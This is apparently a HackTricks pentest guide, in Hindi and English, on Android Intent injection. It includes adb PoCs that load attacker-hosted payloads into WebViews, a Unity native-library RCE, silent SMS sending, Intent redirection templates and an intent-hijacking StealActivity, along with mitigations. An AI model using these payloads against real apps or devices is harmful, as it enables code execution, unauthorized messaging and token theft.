Intent Injection

Tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें

Intent injection उन कंपोनेंट्स का दुरुपयोग करता है जो attacker-controlled Intents या ऐसे डेटा को स्वीकार करते हैं जिन्हें बाद में Intents में बदल दिया जाता है। Android app pentests के दौरान दो बहुत आम पैटर्न हैं:

  • exported Activities/Services/BroadcastReceivers को crafted extras पास करना, जो बाद में privileged, non-exported components को फॉरवर्ड किए जाते हैं।
  • exported VIEW/BROWSABLE deep links को ट्रिगर करना, जो attacker-controlled URLs को internal WebViews या अन्य संवेदनशील sinks में फॉरवर्ड करते हैं।

यदि कोई app exposes a custom scheme deep link such as:

myscheme://com.example.app/web?url=<attacker_url>

और प्राप्त करने वाली Activity url क्वेरी पैरामीटर को WebView में फॉरवर्ड करती है, तो आप ऐप को उसके अपने WebView context में मनमाना रिमोट कंटेंट रेंडर करने के लिए मजबूर कर सकते हैं।

PoC adb के माध्यम से:

# Implicit VIEW intent
adb shell am start -a android.intent.action.VIEW \
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"

# Or explicitly target an Activity
adb shell am start -n com.example/.MainActivity -a android.intent.action.VIEW \
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"

Impact

  • HTML/JS executes inside the app’s WebView profile.
  • If JavaScript is enabled (by default or due to misordered checks), you can enumerate/use any exposed @JavascriptInterface objects, steal WebView cookies/local storage, and pivot.

See also:

Webview Attacks

चेक-ऑर्डर बग जो JavaScript सक्षम करता है

एक बार-बार मिलने वाली बग यह है कि अंतिम URL allowlist/verification पूरी होने से पहले JavaScript (या अन्य permissive WebView सेटिंग्स) सक्षम कर दी जाती हैं। यदि शुरुआती helpers आपके deep link को स्वीकार कर लेते हैं और पहले WebView कॉन्फ़िगर होता है, तो आपका अंतिम लोड JavaScript पहले से सक्षम होने की स्थिति में होता है भले ही बाद के चेक flawed हों या बहुत देर से हों।

डिकम्पाइल किए गए कोड में किन चीज़ों की तलाश करें:

  • ऐसे कई helpers जो URL को अलग-अलग पार्स/स्प्लिट/रीबिल्ड करते हैं (असंगत सामान्यीकरण)।
  • कॉल्स to getSettings().setJavaScriptEnabled(true) अंतिम host/path allowlist चेक से पहले।
  • एक पाइपलाइन जैसे: parse → partial validate → configure WebView → final verify → loadUrl.

Unity Runtime: Intent-to-CLI extras → pre-init native library injection (RCE)

Unity-आधारित Android apps आमतौर पर com.unity3d.player.UnityPlayerActivity (या UnityPlayerGameActivity) को entry Activity के रूप में उपयोग करते हैं। Unity का Android टेम्पलेट एक विशेष Intent extra जिसका नाम unity है को Unity runtime के लिए command-line flags की स्ट्रिंग के रूप में मानता है। जब entry Activity export किया गया होता है (कई टेम्पलेट्स में डिफ़ॉल्ट), तो कोई भी local app – और कभी-कभी एक website यदि BROWSABLE मौजूद है – यह extra प्रदान कर सकता है।

एक खतरनाक, अनदस्तावेज़ flag बहुत शुरुआती process initialization के दौरान native कोड निष्पादन की ओर ले जाता है:

  • Hidden flag: -xrsdk-pre-init-library <absolute-path>
  • Effect: dlopen(<absolute-path>, RTLD_NOW) init में बहुत जल्दी कॉल होता है, लक्ष्य ऐप की प्रोसेस के अंदर attacker-controlled ELF को इसके UID and permissions के साथ लोड करता है।

रिवर्स-इंजीनियरिंग अंश (सरलीकृत):

// lookup the arg value
initLibPath = FUN_00272540(uVar5, "xrsdk-pre-init-library");
// load arbitrary native library early
lVar2 = dlopen(initLibPath, 2); // RTLD_NOW

क्यों काम करता है

  • Intent extra unity को Unity runtime flags में पार्स किया जाता है।
  • pre-init flag प्रदान करने से Unity उस attacker-controlled ELF path की ओर इंगित होता है जो allowed linker namespace path के भीतर है (नीचे दिए गए constraints देखें)।

Conditions for exploitation

  • Unity entry Activity exported है (आमतौर पर डिफ़ॉल्ट रूप से true होता है)।
  • ब्राउज़र के माध्यम से one-click remote के लिए: entry Activity भी android.intent.category.BROWSABLE घोषित करता है ताकि extras को intent: URL से पास किया जा सके।

Local exploitation (same device)

  1. एक payload ELF उस path पर रखें जिसे victim app पढ़ सके। सबसे आसान: अपनी attacker app में एक malicious library भेजें और attacker’s manifest में सेट करके सुनिश्चित करें कि वह /data/app/.../lib/<abi>/ के तहत extract हो:
<application android:extractNativeLibs="true" ...>
  1. unity extra में CLI pre-init flag के साथ victim की Unity activity लॉन्च करें। उदाहरण ADB PoC:
adb shell am start \
-n com.victim.pkg/com.unity3d.player.UnityPlayerActivity \
-e unity "-xrsdk-pre-init-library /data/app/~~ATTACKER_PKG==/lib/arm64/libpayload.so"
  1. Unity calls dlopen("/data/.../libpayload.so", RTLD_NOW); आपका payload victim process में चलता है, और उसके सभी app permissions (camera/mic/network/storage, आदि) तथा in-app sessions/data तक पहुँच प्राप्त कर लेता है।

Notes

  • सटीक /data/app/... पाथ डिवाइस/इंस्टॉल के अनुसार बदलता है। एक attacker app रनटाइम पर getApplicationInfo().nativeLibraryDir के माध्यम से अपनी native lib dir प्राप्त कर सकता है और इसे trigger को भेज सकता है।
  • यदि यह एक वैध ELF है तो फ़ाइल का अंत .so पर होना जरूरी नहीं है — dlopen() ELF headers को देखता है, extensions को नहीं।

Remote one‑click via browser (conditional) यदि Unity entry activity को BROWSABLE के साथ exported किया गया है, तो एक वेबसाइट intent: URL के माध्यम से extras पास कर सकती है:

intent:#Intent;package=com.example.unitygame;scheme=whatever;\
S.unity=-xrsdk-pre-init-library%20/data/local/tmp/malicious.so;end;

हालाँकि, आधुनिक Android पर dynamic linker namespaces और SELinux कई सार्वजनिक पथों से लोडिंग को ब्लॉक करते हैं (उदाहरण के लिए, /sdcard/Download)। आपको इस तरह की त्रुटियाँ दिखाई देंगी:

library "/sdcard/Download/libtest.so" ("/storage/emulated/0/Download/libtest.so") needed
or dlopened by "/data/app/.../lib/arm64/libunity.so" is not accessible for the
namespace: [name="clns-...", ... permitted_paths="/data:/mnt/expand:/data/data/com.example.unitygame"]

Bypass strategy: target apps that cache attacker-controlled bytes under their private storage (e.g., HTTP caches). Because permitted paths include /data and the app’s private dir, pointing -xrsdk-pre-init-library at an absolute path inside the app’s cache can satisfy linker constraints and yield code execution. This mirrors prior cache-to-ELF RCE patterns experienced in other Android apps.

Confused‑Deputy: Silent SMS/MMS via ACTION_SENDTO (Wear OS Google Messages)

कुछ default messaging apps implicit messaging intents को गलत तरीके से auto‑execute कर देती हैं, जिससे वे एक confused‑deputy primitive बन जाते हैं: कोई भी unprivileged app Intent.ACTION_SENDTO को sms:, smsto:, mms:, या mmsto: के साथ ट्रिगर कर सकता है और confirmation UI और SEND_SMS permission के बिना तुरंत संदेश भेज सकता है।

Key points

  • Trigger: implicit ACTION_SENDTO + messaging URI scheme.
  • Data: URI में recipient सेट करें, message text "sms_body" extra में रखें.
  • Permissions: none (no SEND_SMS), relies on the default SMS/MMS handler.
  • Observed: Google Messages for Wear OS (patched May 2025). Other handlers should be assessed similarly.

Minimal payload (Kotlin)

val intent = Intent(Intent.ACTION_SENDTO).apply {
data = Uri.parse("smsto:+11234567890") // or sms:, mms:, mmsto:
putExtra("sms_body", "Hi from PoC")
// From a non-Activity context add NEW_TASK
addFlags(Intent.FLAG_ACTIVITY_NEW_TASK)
}
startActivity(intent)

ADB PoC (कोई विशेष अनुमतियाँ नहीं)

# SMS/SMS-to
adb shell am start -a android.intent.action.SENDTO -d "smsto:+11234567890" --es sms_body "hello"
adb shell am start -a android.intent.action.SENDTO -d "sms:+11234567890"   --es sms_body "hello"

# MMS/MMS-to (handler-dependent behaviour)
adb shell am start -a android.intent.action.SENDTO -d "mmsto:+11234567890" --es sms_body "hello"
adb shell am start -a android.intent.action.SENDTO -d "mms:+11234567890"   --es sms_body "hello"

Attack surface expansion (Wear OS)

  • कोई भी component जो activities लॉन्च करने में सक्षम है वही payload फायर कर सकता है: Activities, foreground Services (with FLAG_ACTIVITY_NEW_TASK), Tiles, Complications.
  • अगर default handler auto‑sends करता है, तो दुरुपयोग one‑tap या बैकग्राउंड contexts से पूरी तरह silent हो सकता है, OEM policies के अनुसार।

Pentest checklist

  • Resolve ACTION_SENDTO on target करके default handler की पहचान करें; सत्यापित करें कि यह compose UI दिखाता है या silently भेज देता है।
  • चारों schemes (sms:, smsto:, mms:, mmsto:) और extras (sms_body, optionally subject for MMS) का उपयोग करके व्यवहार के अंतर जांचें।
  • वास्तविक डिवाइस पर परीक्षण करते समय charged destinations/premium‑rate numbers को ध्यान में रखें।

अन्य क्लासिक Intent injection primitives

  • startActivity/sendBroadcast का उपयोग attacker-supplied Intent extras के साथ जो बाद में re-parsed (Intent.parseUri(...)) होकर execute होते हैं।
  • Exported proxy components जो Intents को बिना permission checks के non-exported sensitive components तक forward करते हैं।

Automating exported-component testing (Smali-driven ADB generation)

जब exported components विशिष्ट extras की उम्मीद करते हैं, तो payload के shape का अनुमान लगाना समय की बर्बादी और false negatives पैदा कर सकता है। आप Smali से सीधे keys/types का पता लगाने और ready-to-run adb commands जनरेट करने की प्रक्रिया को ऑटोमेट कर सकते हैं।

Tool: APK Components Inspector

  • Repo: https://github.com/thecybersandeep/apk-components-inspector
  • Approach: Smali को decompile करके स्कैन करें और getStringExtra("key"), getIntExtra("id", ...), getParcelableExtra("redirect_intent"), getSerializableExtra(...), getBooleanExtra(...), getAction(), getData() जैसे calls ढूँढें ताकि यह अनुमान लगाया जा सके कि किन extras और फील्ड्स का हर component द्वारा उपयोग किया जा रहा है।
  • Output: हर exported Activity/Service/Receiver/Provider के लिए tool एक संक्षिप्त explanation और सही type वाले flags के साथ सटीक adb shell am .../cmd content ... कमांड प्रिंट करता है।

इंस्टॉल

git clone https://github.com/thecybersandeep/apk-components-inspector
cd apk-components-inspector
python3 -m venv venv && source venv/bin/activate
pip install androguard==3.3.5 rich

उपयोग

python apk-components-inspector.py target.apk

उदाहरण आउटपुट

adb shell am start -n com.target/.ExportedActivity --es url https://example.tld
adb shell am startservice -n com.target/.ExportedService --ei user_id 1337 --ez force true
adb shell am broadcast -n com.target/.ExportedReceiver -a com.target.ACTION --es redirect_intent "intent:#Intent;component=com.target/.Internal;end"
adb shell cmd content query --uri content://com.target.provider/items

ADB am extras चीटशीट (type-aware flags)

  • Strings: --es key value | String array: --esa key v1,v2
  • Integers: --ei key 123 | Int array: --eia key 1,2,3
  • Booleans: --ez key true|false
  • Longs: --el key 1234567890
  • Floats: --ef key 1.23
  • URIs (extra): --eu key content://... | Data URI (Intent data): -d content://...
  • Component extra: --ecn key com.pkg/.Cls
  • Null string extra: --esn key
  • Common flags: -a <ACTION> -c <CATEGORY> -t <MIME> -f <FLAGS> --activity-clear-task --activity-new-task

Providers के लिए प्रो टिप्स

  • adb shell cmd content query|insert|update|delete ... का उपयोग करके बिना agents के ContentProviders को हिट करें।
  • SQLi probing के लिए, जब underlying provider SQLite-backed हो तो --projection और --where (यानी selection) को बदलें।

पूर्ण-पाइपलाइन ऑटोमेशन (interactive executor)

# generate and capture commands then execute them one by one interactively
python apk-components-inspector.py app.apk | tee adbcommands.txt
python run_adb_commands.py
adb कमांड्स को पार्स और निष्पादित करने के लिए हेल्पर स्क्रिप्ट ```python import subprocess

def parse_adb_commands(file_path): with open(file_path, ‘r’) as file: lines = file.readlines() commands = [] current = [] for line in lines: s = line.strip() if s.startswith(“adb “): current = [s] elif s.startswith(”#“) or not s: if current: full = ’ ’.join(current).replace(” \ “, “ “).replace(”\“, “”).strip() commands.append(full) current = [] elif current: current.append(s) if current: full = ’ ’.join(current).replace(“ \ “, “ “).replace(”\“, “”).strip() commands.append(full) return commands

for i, cmd in enumerate(parse_adb_commands(‘adbcommands.txt’), 1): print(f“\nCommand {i}: {cmd}“) input(“Press Enter to execute this command…”) try: r = subprocess.run(cmd, shell=True, check=True, text=True, capture_output=True) print(“Output:\n”, r.stdout) if r.stderr: print(“Errors:\n”, r.stderr) except subprocess.CalledProcessError as e: print(f“Command failed with error:\n{e.stderr}“)

</details>

डिवाइस पर चलाएँ: inspector Python-आधारित है और Termux या rooted फ़ोन्स पर चलता है जहाँ `apktool`/`androguard` उपलब्ध हैं।

---

## Intent Redirection (CWE-926) – खोज और शोषण

Pattern
- एक exported एंट्री प्वाइंट (Activity/Service/Receiver) इनकमिंग Intent को पढ़ता है और स्रोत/डेटा की वैधता जांचे बिना उसे आंतरिक या बाहरी रूप से अग्रेषित कर देता है, उदाहरण के लिए:
- `startActivity(getIntent())`
- `startActivity(intent)` जहाँ `intent` किसी extra से आया हो जैसे `redirect_intent`/`next_intent`/`pending_intent` या `Intent.parseUri(...)`.
- चेक किए बिना `action`/`data`/`component` फील्ड्स पर भरोसा करना; caller identity की जाँच न करना।

What to search in Smali/Java
- `getParcelableExtra("redirect_intent")`, `getParcelable("intent")`, `getIntent().getParcelableExtra(...)` के उपयोग।
- उन Intents पर सीधे `startActivity(...)`, `startService(...)`, `sendBroadcast(...)` जो हमलावर द्वारा प्रभावित हों।
- `getCallingPackage()`/`getCallingActivity()` चेक की कमी या custom permission गेट्स न होना।

ADB PoC templates
- Proxy Activity जो एक extra Intent को privileged internal Activity को अग्रेषित करता है:
```bash
adb shell am start -n com.target/.ProxyActivity \
--es redirect_intent 'intent:#Intent;component=com.target/.SensitiveActivity;end'
  • Exported Service जो redirect_intent parcelable का सम्मान करता है:
adb shell am startservice -n com.target/.ExportedService \
--es redirect_intent 'intent:#Intent;component=com.target/.PrivService;action=com.target.DO;end'
  • Exported Receiver जो बिना सत्यापन के फॉरवर्ड करता है:
adb shell am broadcast -n com.target/.RelayReceiver -a com.target.RELAY \
--es forwarded 'intent:#Intent;component=com.target/.HiddenActivity;S.extra=1;end'

singleTask-style व्यवहार के लिए सहायक फ़्लैग

# Ensure a fresh task when testing Activities that check task/intent flags
adb shell am start -n com.target/.ExportedActivity --activity-clear-task --activity-new-task

Real-world examples (impact varies):

  • CVE-2024-26131 (Element Android): exported flows के कारण WebView manipulation, PIN bypass और login hijack.
  • CVE-2023-44121 (LG ThinQ Service): exported receiver action com.lge.lms.things.notification.ACTION → सिस्टम-स्तर के प्रभाव.
  • CVE-2023-30728 (Samsung PackageInstallerCHN < 13.1.03.00): redirection → मनमाना फ़ाइल पहुँच (उपयोगकर्ता इंटरैक्शन के साथ).
  • CVE-2022-36837 (Samsung Email < 6.1.70.20): implicit Intents leak content.
  • CVE-2021-4438 (React Native SMS User Consent).
  • CVE-2020-14116 (Xiaomi Mi Browser).

Intent Hijacking (implicit intents)

Threat model

  • App A expects a sensitive result from App B using an implicit Intent (e.g., an OAuth redirect, a document picker result, an IMAGE_CAPTURE return, or a custom callback action).
  • Attacker App C publishes an exported component with a matching <intent-filter> for the same action/category/data. When B resolves the implicit Intent, the resolver may present a chooser; if the user picks C (or sets it as default), the payload is delivered to the attacker component instead of A.

Minimal PoC manifest (attacker):

<activity android:name=".StealActivity" android:exported="true">
<intent-filter>
<action android:name="com.victim.app.ACTION_CALLBACK"/>
<category android:name="android.intent.category.DEFAULT"/>
<!-- Optionally constrain MIME or scheme/host/path to increase match score -->
<!-- <data android:mimeType="application/json"/> -->
<!-- <data android:scheme="myscheme" android:host="callback"/> -->
</intent-filter>
</activity>

Handler का ढाँचा:

public class StealActivity extends Activity {
@Override protected void onCreate(Bundle b) {
super.onCreate(b);
Intent i = getIntent();
Bundle extras = i.getExtras();
Uri data = i.getData();
// Dump/forward sensitive result
android.util.Log.i("HIJACK", "action="+i.getAction()+" data="+data+" extras="+extras);
finish();
}
}

Notes

  • Match specificity matters (action + categories + data). The more specific C’s filter is to B’s outgoing Intent, the higher the chance it is shown or auto-selected.
  • This also applies to deep links (VIEW + BROWSABLE) when apps expect another app to handle a URL and return something back.

Pentest guidance

  • Grep the target for startActivity/startActivityForResult/registerForActivityResult calls using non-explicit Intents.
  • Inspect Intents carrying tokens in extras, clipData, or getData() and see whether a third-party could register a compatible filter.
  • Recommend replacing implicit flows with explicit Intents (set setPackage()/setComponent()), or requiring caller-permission/signed permissions on exported receivers/services.

Mitigations

  • Prefer explicit Intents for sensitive flows (callbacks, tokens, auth results).
  • When cross-app is necessary, add permission requirements to the receiving component and validate caller identity.
  • Limit and tighten Intent filters to only what is strictly needed (scheme/host/path/MIME).

Observing resolver decisions (FLAG_DEBUG_LOG_RESOLUTION)

When you control the sender, add Intent.FLAG_DEBUG_LOG_RESOLUTION to an implicit Intent to make Android log how resolution happens and which component will be selected.

Example:

Intent intent = new Intent();
intent.setAction("android.media.action.IMAGE_CAPTURE");
intent.addFlags(Intent.FLAG_DEBUG_LOG_RESOLUTION);
startActivityForResult(intent, 42);

आप adb logcat में जो देखेंगे वह रिज़ॉल्यूशन ट्रेस और अंतिम घटक होगा, उदाहरण के लिए com.android.camera2/com.android.camera.CaptureActivity

CLI टिप

# You can also set the debug flag from adb when firing an implicit Intent
# 0x00000008 == Intent.FLAG_DEBUG_LOG_RESOLUTION on modern Android
adb shell am start -a android.media.action.IMAGE_CAPTURE -f 0x00000008

# Then inspect the resolution in logs
adb logcat | grep -i -E "resolve|Resolver|PackageManager|ActivityTaskManager"

यह device/emulator पर candidate handlers को सूचीबद्ध करने और परीक्षण के दौरान ठीक-ठीक यह पुष्टि करने के लिए उपयोगी है कि किस component को Intent प्राप्त होगा।


संदर्भ

Tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें